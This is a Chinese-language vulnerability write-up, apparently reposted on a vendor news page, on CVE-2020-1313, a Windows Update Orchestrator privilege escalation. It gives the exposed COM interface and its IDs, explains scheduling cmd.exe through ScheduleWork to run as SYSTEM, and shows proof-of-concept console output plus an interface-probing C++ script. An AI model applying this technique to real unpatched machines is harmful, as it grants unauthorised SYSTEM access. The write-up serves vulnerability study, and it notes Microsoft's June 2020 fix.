您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關如何進行CVE-2020-1313漏洞分析及利用PoC,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
Windows Update Orchestrator Service是一個DCOM服務,Windows系統內的其他組件需要使用該服務來安裝已下載好的Windows更新。但是,由于該服務中的代碼在認證調用函數時存在問題,導致其易受權限提升攻擊的影響,即任意用戶提升至本地系統權限。該漏洞將影響Windows 10和Windows Server Core產品。
UniversalOrchestrator服務(9C695035-48D2-4229-8B73-4C70E756E519),其代碼在usosvc.dll中實現,并且將以NT_AUTHORITY\SYSTEM權限運行,如果擁有BUILTIN\Users的訪問權,即可對其進行配置。即使該服務所實現的COM類枚舉功能已經被屏蔽了,但是IUniversalOrchestrator接口(c53f3549-0dbf-429a-8297-c812ba00742d)仍然可以通過標準的COM API調用來訪問獲取。下面給出的就是暴露的三個方法:
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
ScheduleWork方法可以用來在服務的上下文環境下設置命令執行的計劃任務,并且可以在不進行任何認證的情況下執行。目標可執行程序本身必須擁有數字簽名,并且必須位于“c:\windows\system32”或“Program Files”目錄下。但是,我們同樣可以通過命令行參數來執行目標可執行文件,這樣我們就可以通過啟動“c:\windows\system32\cmd.exe”,并且以NT_AUTHORITY\SYSTEM權限執行任意代碼,最終在目標系統中實現提權。
C:\111>whoami desktop-43rnlku\unprivileged C:\111>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled C:\111>whoami /priv C:\111>UniversalOrchestratorPrivEscPoc.exe Obtaining reference to IUniversalOrchestrator Scheduing work with id 56594 Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
指定的命令可以在不需要任何用戶交互的情況下,在夜間(大約23:20)的時候執行。
當我發現我們無法通過OleView.NET來獲取USO服務的接口定義時,我專門創建了一個腳本來遍歷大量的CLSID/IID組合。于是乎,我們發現了下列內容:
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName) { void *ss = NULL; IID iid; ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss); printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure"); } void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName) { // TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting! TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName); TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName); TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName); TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName); // TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting! } ... TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator"); TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate"); TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection"); // ... and hundreds of more
UniversalOrchestrator IUniversalOrchestrator: WORKING UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING UxUpdateManager IUxUpdateManager: WORKING
接下來,我就開始對上述方法執行逆向工程分析,并且發現了本文所介紹的漏洞。
微軟目前已在2020年6月份的漏洞補丁中,通過添加CoImpersonateClient API調用來修復了該問題。
實際上,身份偽裝實在處理請求的開始時完成的,因此更新注冊表的API調用是在調用方的安全上下文中執行的。如果調用方沒有訪問HKEY_LOCAL_MACHINE的高級權限,那么USO API方法也將無法被執行。
上述就是小編為大家分享的如何進行CVE-2020-1313漏洞分析及利用PoC了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。